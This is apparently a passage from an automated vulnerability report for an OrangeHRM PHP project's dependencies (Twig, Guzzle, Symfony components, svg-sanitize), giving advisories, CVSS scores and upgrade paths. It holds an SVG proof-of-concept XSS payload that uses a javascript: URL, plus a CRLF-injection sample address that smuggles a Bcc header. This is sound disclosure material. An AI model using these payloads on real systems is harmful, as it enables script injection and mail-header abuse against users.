The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String	Number of C's	Number of steps
ACCCX	3	38
ACCCCX	4	71
ACCCCCX	5	136
ACCCCCCCCCCCCCCX	14	65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation
Upgrade symfony/yaml to version 5.4.52, 6.4.40, 7.4.12, 8.0.12 or higher.
References
- GitHub Commit
- Symfony Advisory

References

- GitHub Commit
- Symfony Advisory

MEDIUM

Cross-site Scripting (XSS)

Package: **twig/twig 3.11.3**

CVSS 5.1	CVE-2026-46628	CWE-79	SNYK-PHP-TWIGTWIG-16776075	Exploit: Not Defined

Fixed in 3.26.0

Introduced through `orangehrm/orangehrm@0.0.0 → twig/twig@3.11.3`

Security information

Version	Score	Severity	Vector
CVSS 4.0	5.1	Medium	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N`
CVSS 3.1	6.1	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`
CVSS 3.1	5.4	Medium	`CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N`

Overview

twig/twig is a flexible, fast, and secure template language for PHP.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the spaceless filter registered with issafe => ['html']. An attacker can execute arbitrary HTML or JavaScript by supplying crafted markup to templates using the spaceless filter, as Twig treats the filter output as safe HTML and bypasses autoescaping even when autoescape is enabled.
Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks
There are a few methods by which XSS can be manipulated:

Type	Origin	Description
Stored	Server	The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected	Server	The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user's browser.
DOM-based	Client	The attacker forces the user's browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated		The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments
The following environments are susceptible to an XSS attack:

* Web servers
* Application servers
* Web application environments

How to prevent
This section describes the top best practices designed to specifically protect your code:

* Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
* Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
* Give users the option to disable client-side scripts.
* Redirect invalid requests.
* Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
* Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
* Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation
Upgrade twig/twig to version 3.26.0 or higher.
References
- GitHub Commit
- Symfony Advisory

References

• GitHub Commit
• Symfony Advisory

MEDIUM

Server-side Request Forgery (SSRF)

Package: **guzzlehttp/psr7 2.6.2**

CVSS 6.9	CVE-2026-48998	CWE-918	SNYK-PHP-GUZZLEHTTPPSR7-17318033	Exploit: Not Defined

Fixed in 2.10.2

Introduced through `orangehrm/orangehrm@0.0.0 → guzzlehttp/guzzle@7.8.1 → guzzlehttp/psr7@2.6.2`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.9	Medium	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N`
CVSS 3.1	5.3	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N`

Overview

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via improper validation of the Host header when parsing raw HTTP request messages or deriving a server request URI from server variables. An attacker can manipulate the Host header to include URI authority delimiters, causing the constructed URI host to differ from the original value, potentially resulting in requests or credentials being sent to an unintended host by exploiting affected forwarding or gateway scenarios.

Workaround

This vulnerability can be mitigated by validating the Host header as uri-host [":" port] before calling Message::parseRequest() or legacy parserequest() on untrusted HTTP request data, or before deriving routing and forwarding decisions from a parsed request URI. Reject Host values containing userinfo (@), path (/ or \), query (?), fragment () delimiters.

Remediation

Upgrade guzzlehttp/psr7 to version 2.10.2 or higher.

References

- GitHub Advisory
- GitHub Commit

References

- GitHub Advisory
- GitHub Commit

MEDIUM

Incorrect Behavior Order: Validate Before Canonicalize

Package: **guzzlehttp/guzzle 7.8.1**

CVSS 6.3	CVE-2026-6924 5	CWE-180	SNYK-PHP-GUZZLEHTTPGUZZLE-18543664	Exploit: Not Defined

Fixed in 7.15.2, 8.0.1

Introduced through `orangehrm/orangehrm@0.0.0 → guzzlehttp/guzzle@7.8.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.3	Medium	`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N`
CVSS 3.1	4.8	Medium	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N`

Overview

Affected versions of this package are vulnerable to Incorrect Behavior Order: Validate Before Canonicalize in the SetCookie::matchesDomain. An attacker can gain unauthorized access to sensitive information or manipulate session state by exploiting noncanonical domain representations in cookie handling, allowing cookies to be sent to unintended subdomains.

Note: This is only exploitable if cookie support is enabled, the application addresses an origin using a noncanonical domain spelling, and communicates with a host whose name ends with that spelling.

Remediation

Upgrade guzzlehttp/guzzle to version 7.15.2, 8.0.1 or higher.

References

- GitHub Advisory
- GitHub Commit
- GitHub Commit
- GitHub PR
- GitHub PR
- GitHub Release
- GitHub Release

References

- GitHub Advisory
- GitHub Commit
- GitHub Commit
- GitHub PR
- GitHub PR
- GitHub Release
- GitHub Release

MEDIUM

CRLF Injection

Package: **symfony/mime 5.4.35**

CVSS 5.1	CVE-2026-45067	CWE-93	SNYK-PHP-SYMFONYMIME-16797290	Exploit: Not Defined

Fixed in 5.4.52, 6.4.40, 7.4.12, 8.0.12

Introduced through `orangehrm/orangehrm@0.0.0 → symfony/mailer@5.4.45 → symfony/mime@5.4.35`

Security information

Version	Score	Severity	Vector
CVSS 4.0	5.1	Medium	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N`
CVSS 3.1	5.4	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N`

Overview

symfony/mime is a library to manipulate MIME messages.

Affected versions of this package are vulnerable to CRLF Injection due to improperly validating user input (specifically carriage return and line feed bytes) within the Symfony\Component\Mime\Address constructor. The constructor accepts email addresses whose local-part (the part before @) is an RFC-5322 quoted string containing raw \r\n bytes, e.g. "x\r\nBcc: attacker@evil"@example.com. The stored address is later emitted verbatim into the rendered message headers and SmtpTransport's MAIL FROM:<...> / RCPT TO:<...> protocol lines, turning the embedded CRLF into a new mail header and/or a new SMTP command.
Remediation
Upgrade symfony/mime to version 5.4.52, 6.4.40, 7.4.12, 8.0.12 or higher.
References
- GitHub Commit
- Symfony Advisory

References

- GitHub Commit
- Symfony Advisory

MEDIUM

Incorrect Authorization

Package: **twig/twig 3.11.3**

CVSS 5.3	CVE-2026-46634	CWE-863	SNYK-PHP-TWIGTWIG-16776519	Exploit: Not Defined

Fixed in 3.26.0

Introduced through `orangehrm/orangehrm@0.0.0 → twig/twig@3.11.3`

Security information

Version	Score	Severity	Vector
CVSS 4.0	5.3	Medium	`CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L`
CVSS 3.1	7.4	High	`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L`
CVSS 3.1	9.8	Critical	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`

Overview

twig/twig is a flexible, fast, and secure template language for PHP.

Affected versions of this package are vulnerable to Incorrect Authorization via Environment::createTemplate() when sandboxing is enabled selectively through SourcePolicyInterface. An attacker can bypass Twig sandbox restrictions by rendering attacker-controlled inner templates through templatefromstring and include, as synthesized template names are not recognized by name/path-based source policies, causing checkSecurity() enforcement to be skipped and allowing access to unrestricted tags, filters, and functions.
Remediation
Upgrade twig/twig to version 3.26.0 or higher.
References
- GitHub Commit
- Symfony Advisory

References

- GitHub Commit
- Symfony Advisory

MEDIUM

Improper Validation of Specified Index, Position, or Offset in Input

Package: **twig/twig 3.11.3**

CVSS 6	CVE-2026-48807	CWE-1285	SNYK-PHP-TWIGTWIG-17057204	Exploit: Not Defined

Fixed in 3.27.0

Introduced through `orangehrm/orangehrm@0.0.0 → twig/twig@3.11.3`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6	Medium	`CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N`
CVSS 3.1	5.9	Medium	`CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N`
CVSS 3.1	9.1	Critical	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`

Overview

twig/twig is a flexible, fast, and secure template language for PHP.

Affected versions of this package are vulnerable to Improper Validation of Specified Index, Position, or Offset in Input in the SandboxNodeVisitor that allows toString() policy bypass via Traversable in join/replace filters and via the in/not in operators. An attacker can call disallowed methods within a sandbox environment.
Remediation
Upgrade twig/twig to version 3.27.0 or higher.
References
- GitHub Advisory
- GitHub Commit
- GitHub Commit
- Symfony Blog

References

- GitHub Advisory
- GitHub Commit
- GitHub Commit
- Symfony Blog

MEDIUM

Uncaught Exception

Package: **enshrined/svg-sanitize 0.22.0**

CVSS 6.9	CVE-2026-117541	CWE-248	SNYK-PHP-ENSHRINEDSVGSANITIZE-21762845	Exploit: Proof of Concept

Fixed in 1.1.0

Introduced through `orangehrm/orangehrm@0.0.0 → enshrined/svg-sanitize@0.22.0`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.9	Medium	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P`
CVSS 3.1	5.3	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P`
CVSS 3.1	5.3	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`

Overview

enshrined/svg-sanitize is a SVG sanitizer for PHP

Affected versions of this package are vulnerable to Uncaught Exception via the collectIdentifiedElements method in Resolver.php, where processing an SVG document containing a large number of elements with id attributes causes excessive memory allocation. Before the fix, an XPath query (//*[@id]) instantiated a PHP object for every matching element simultaneously, and the findByElementId method iterated over every collected subject for each <use> reference check, resulting in quadratic time and memory complexity that an attacker can exploit by submitting a large SVG to crash the sanitizer process.
Remediation
Upgrade enshrined/svg-sanitize to version 1.1.0 or higher.
References
- GitHub Advisory
- GitHub Commit

References

- GitHub Advisory
- GitHub Commit

MEDIUM

Insufficiently Protected Credentials

Package: **guzzlehttp/guzzle 7.8.1**

CVSS 6.9	CVE-2026-67339	CWE-201, CWE-522	SNYK-PHP-GUZZLEHTTPGUZZLE-18306770	Exploit: Not Defined

Fixed in 7.14.2

Introduced through `orangehrm/orangehrm@0.0.0 → guzzlehttp/guzzle@7.8.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.9	Medium	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N`
CVSS 3.1	5.3	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N`
CVSS 3.1	5.3	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N`

Overview

Affected versions of this package are vulnerable to Insufficiently Protected Credentials in the handling of Proxy-Authorization headers by the cURL handlers and stream handler. An attacker can obtain proxy credentials by controlling the origin server and capturing the credentials sent inappropriately to the origin, potentially through crafted redirects or by manipulating proxy configurations. This is only exploitable if a first-class Proxy-Authorization header is configured and the application issues direct, bypassed, or SOCKS requests, or follows redirects into those routes.

Workaround
This vulnerability can be mitigated by removing first-class Proxy-Authorization fields from requests, client defaults, and middleware, and instead supplying proxy credentials through proxy URL userinfo or CURLOPTPROXYUSERPWD with the cURL handlers. Avoid combining proxy URL userinfo with a first-class field or a raw streamcontext.http.proxy override. If a first-class field is unavoidable, use libcurl 7.37.0 or newer with CURLOPTPROXYHEADER, CURLOPTHEADEROPT, and CURLHEADERSEPARATE, and ensure the field is never present on a client that can issue direct, bypassed, or SOCKS requests or follow redirects into those routes.
Remediation
Upgrade guzzlehttp/guzzle to version 7.14.2 or higher.
References
- GitHub Advisory
- GitHub Commit
- GitHub PR
- GitHub Release

References

- GitHub Advisory
- GitHub Commit
- GitHub PR
- GitHub Release

MEDIUM

Incorrect Authorization

Package: **twig/twig 3.11.3**

CVSS 5.3	CVE-2026-46635	CWE-863	SNYK-PHP-TWIGTWIG-16776805	Exploit: Not Defined

Fixed in 3.26.0

Introduced through `orangehrm/orangehrm@0.0.0 → twig/twig@3.11.3`

Security information

Version	Score	Severity	Vector
CVSS 4.0	5.3	Medium	`CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:L/SI:N/SA:N`
CVSS 3.1	6.4	Medium	`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N`
CVSS 3.1	4.3	Medium	`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N`

Overview

twig/twig is a flexible, fast, and secure template language for PHP.

Affected versions of this package are vulnerable to Incorrect Authorization via the column filter's use of PHP arraycolumn(). An attacker can bypass Twig sandbox property restrictions because arraycolumn() accesses object properties directly in native PHP code, including invoking get and isset, without passing through CoreExtension::getAttribute() or triggering SandboxExtension::checkPropertyAllowed(). This allows access to arbitrary public or magic properties on objects exposed to sandboxed templates.

Note: The fix for CVE-2024-51755 was incomplete; this change adds the missing protection.
Remediation
Upgrade twig/twig to version 3.26.0 or higher.
References
- GitHub Commit
- Symfony Advisory

References

- GitHub Commit
- Symfony Advisory

MEDIUM

Incorrect Authorization

Package: **twig/twig 3.11.3**

CVSS 6	CVE-2026-46636	CWE-863	SNYK-PHP-TWIGTWIG-17111522	Exploit: Not Defined

Fixed in 3.27.0

Introduced through `orangehrm/orangehrm@0.0.0 → twig/twig@3.11.3`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6	Medium	`CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N`
CVSS 3.1	5.9	Medium	`CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N`

Overview

twig/twig is a flexible, fast, and secure template language for PHP.

Affected versions of this package are vulnerable to Incorrect Authorization via cached template security decisions in the sandbox implementation. An attacker can bypass sandbox filter, tag, and function restrictions because the result of checkSecurity() is evaluated only once when a template instance is constructed and then cached in Environment::$loadedTemplates. Subsequent changes to sandbox state, security policy, or source-policy decisions are not re-evaluated for cached templates, allowing templates that were initially loaded outside the sandbox to execute filters, tags, and functions that would otherwise be prohibited by the current SecurityPolicy.

Note:

1) Method, property, and toString() restrictions are not affected, as those checks are enforced dynamically at runtime.

2) Long-lived processes that reuse a single Environment across sandboxed and non-sandboxed renders are particularly affected, as templates loaded outside the sandbox can later be reused in sandboxed contexts without reapplying filter, tag, and function allow-list checks.

Remediation

Upgrade twig/twig to version 3.27.0 or higher.

References

- GitHub Commit
- Symfony Blog

References

- GitHub Commit
- Symfony Blog

MEDIUM

Origin Validation Error

Package: **guzzlehttp/guzzle 7.8.1**

CVSS 6.9	CVE-2026-5576 7	CWE-346	SNYK-PHP-GUZZLEHTTPGUZZLE-17400370	Exploit: Not Defined

Fixed in 7.12.1

Introduced through `orangehrm/orangehrm@0.0.0 → guzzlehttp/guzzle@7.8.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.9	Medium	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N`
CVSS 3.1	5.8	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N`

Overview

Affected versions of this package are vulnerable to Origin Validation Error in the SetCookie::validate() function due to the improper normalization of Domain attribute for shared CookieJar instances. An attacker can access resources or data from a different origin by setting a shared cookie jar that later sent to unrelated hosts using the same jar.
Remediation
Upgrade guzzlehttp/guzzle to version 7.12.1 or higher.
References
- GitHub Advisory
- GitHub Commit

References

- GitHub Advisory
- GitHub Commit

MEDIUM

SQL Injection

Package: **symfony/cache 5.4.46**

CVSS 5.6	CVE-2026-4507 3	CWE-89	SNYK-PHP-SYMFONYCACHE-16789620	Exploit: Not Defined

Fixed in 5.4.52, 6.4.40, 7.4.12, 8.0.12

Introduced through `orangehrm/orangehrm@0.0.0 → symfony/cache@5.4.46`

Security information

Version	Score	Severity	Vector
CVSS 4.0	5.6	Medium	`CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:H/SI:H/SA:L`
CVSS 3.1	8.4	High	`CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L`
CVSS 3.1	7.3	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L`

Overview

symfony/cache is a cache component provides an extended PSR-6 implementation for adding cache to your applications.

Affected versions of this package are vulnerable to SQL Injection via PdoAdapter::doClear() method. An attacker can influence SQL query to expand deletion scope or perform arbitrary actions by modifying $prefix argument.
Remediation
Upgrade symfony/cache to version 5.4.52, 6.4.40, 7.4.12, 8.0.12 or higher.
References
- GitHub Commit
- GitHub Commit
- Symfony Advisory

References

- GitHub Commit
- GitHub Commit
- Symfony Advisory

MEDIUM

Incorrect Authorization

Package: **symfony/http-foundation 5.4.48**

CVSS 6.9	CVE-2025-64500	CWE-863	SNYK-PHP-SYMFONYHTTPFOUNDATION-13903311	Exploit: Proof of Concept

Fixed in 5.4.50, 6.4.29, 7.3.7

Introduced through `orangehrm/orangehrm@0.0.0 → symfony/http-foundation@5.4.48`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.9	Medium	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P`
CVSS 3.1	7.3	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L/E:P`

Overview

symfony/http-foundation is a component defines an object-oriented layer for the HTTP specification.

Affected versions of this package are vulnerable to Incorrect Authorization due to the Request class improperly interpreting some PATHINFO in a way that leads to representing some URLs with a path that doesn't start with a /. This can allow bypassing access control rules that are built with this /-prefix assumption.

Remediation

Upgrade symfony/http-foundation to version 5.4.50, 6.4.29, 7.3.7 or higher.

References

- GitHub Commit
- GitHub Commit
- GitHub Commit
- GitHub PR
- GitHub PR
- GitHub PR
- Symfony Blog
- Nuclei Templates

References

- GitHub Commit
- GitHub Commit
- GitHub Commit
- GitHub PR
- GitHub PR
- GitHub PR
- Symfony Blog
- Nuclei Templates

MEDIUM

Arbitrary Argument Injection

Package: **symfony/process 5.4.47**

CVSS 5.7	CVE-2026-24739	CWE-88	SNYK-PHP-SYMFONYPROCESS-15147051	Exploit: Not Defined

Fixed in 5.4.51, 6.4.33, 7.3.11, 7.4.5, 8.0.5

Introduced through `orangehrm/orangehrm@0.0.0 → symfony/process@5.4.47`

Security information

Version	Score	Severity	Vector
CVSS 4.0	5.7	Medium	`CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:A/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N`
CVSS 3.1	6.3	Medium	`CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H`

Overview

Affected versions of this package are vulnerable to Arbitrary Argument Injection via incorrect argument escaping in the Process component when executed under MSYS2-based environments on Windows. An attacker can cause destructive file operations, such as unintended deletion of directories or drives, by influencing process arguments through untrusted input, including repository paths, extracted archive paths, temporary directories, or user-controlled configuration.

Workaround

This vulnerability can be mitigated by avoiding the use of MSYS2-based shells for running PHP or related tooling, preferring cmd.exe or PowerShell, avoiding passing paths with '=' or similar characters to process arguments, or configuring MSYS2 to disable or restrict argument conversion (e.g., via MSYS2ARGCONVEXCL).

Remediation

Upgrade symfony/process to version 5.4.51, 6.4.33, 7.3.11, 7.4.5, 8.0.5 or higher.

References

- GitHub Commit
- GitHub Commit
- GitHub Issue
- GitHub PR

References

- GitHub Commit
- GitHub Commit
- GitHub Issue
- GitHub PR

MEDIUM

Cross-site Scripting (XSS)

Package: **enshrined/svg-sanitize 0.22.0**

CVSS 5.1	CVE-2026-107380	CWE-79	SNYK-PHP-ENSHRINEDSVGSANITIZE-21204149	Exploit: Not Defined

Fixed in 1.0.0

Introduced through `orangehrm/orangehrm@0.0.0 → enshrined/svg-sanitize@0.22.0`

Security information

Version	Score	Severity	Vector
CVSS 4.0	5.1	Medium	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N`
CVSS 3.1	5.4	Medium	`CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N`

Overview

enshrined/svg-sanitize is a SVG sanitizer for PHP

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the sanitize process. An attacker can execute arbitrary JavaScript in the context of the affected web page by uploading a crafted SVG file that exploits a mismatch between XML entity resolution and HTML5 Named Character Reference resolution, allowing a javascript: URL to bypass sanitization and execute when the SVG is rendered inline in HTML. This is only exploitable if the sanitized SVG is embedded inline in HTML rather than referenced as an image source.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type	Origin	Description
Stored	Server	The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected	Server	The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based	Client	The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated		The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

* Web servers
* Application servers
* Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

* Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
* Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
* Give users the option to disable client-side scripts.
* Redirect invalid requests.
* Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
* Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
* Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade enshrined/svg-sanitize to version 1.0.0 or higher.

References

- GitHub Advisory
- GitHub Commit
- GitHub Release

References

• GitHub Advisory
• GitHub Commit
• GitHub Release

MEDIUM

Cross-site Scripting (XSS)

Package: **enshrined/svg-sanitize 0.22.0**

CVSS 5.3	CVE-2026-121447	CWE-79	SNYK-PHP-ENSHRINEDSVGSANITIZE-22193077	Exploit: Proof of Concept

Fixed in 1.1.0

Introduced through `orangehrm/orangehrm@0.0.0 → enshrined/svg-sanitize@0.22.0`

Security information

Version	Score	Severity	Vector
CVSS 4.0	5.3	Medium	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:P`
CVSS 3.1	6.1	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:P`
CVSS 3.1	6.1	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`

Overview

enshrined/svg-sanitize is a SVG sanitizer for PHP

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the animateTransform element's values attribute, which is not checked for javascript: URLs during sanitization. An attacker can upload an SVG file that uses animateTransform to target the href attribute of an anchor element, setting its value to a javascript: URL, which executes arbitrary JavaScript when a user clicks the link.

Note: This is only exploitable on Safari, where animateTransform can animate any animatable attribute including href.
PoC
This payload is allowed by https://svg.enshrined.co.uk/ and triggers an XSS on click on Safari:
svg
<svg xmlns="http://www.w3.org/2000/svg"
width="800"
height="120"
viewBox="0 0 1000 120">

<text x="20" y="55" font-size="26">
Wait one second, then click
</text>

<animateTransform
attributeName="href"
type="invalid"
values="XXX;javascript:alert(':')//"
begin="0s"
dur="0.1s"
fill="freeze"/>

</svg>

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they've been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type	Origin	Description
Stored	Server	The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected	Server	The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user's browser.
DOM-based	Client	The attacker forces the user's browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated		The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

* Web servers
* Application servers
* Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

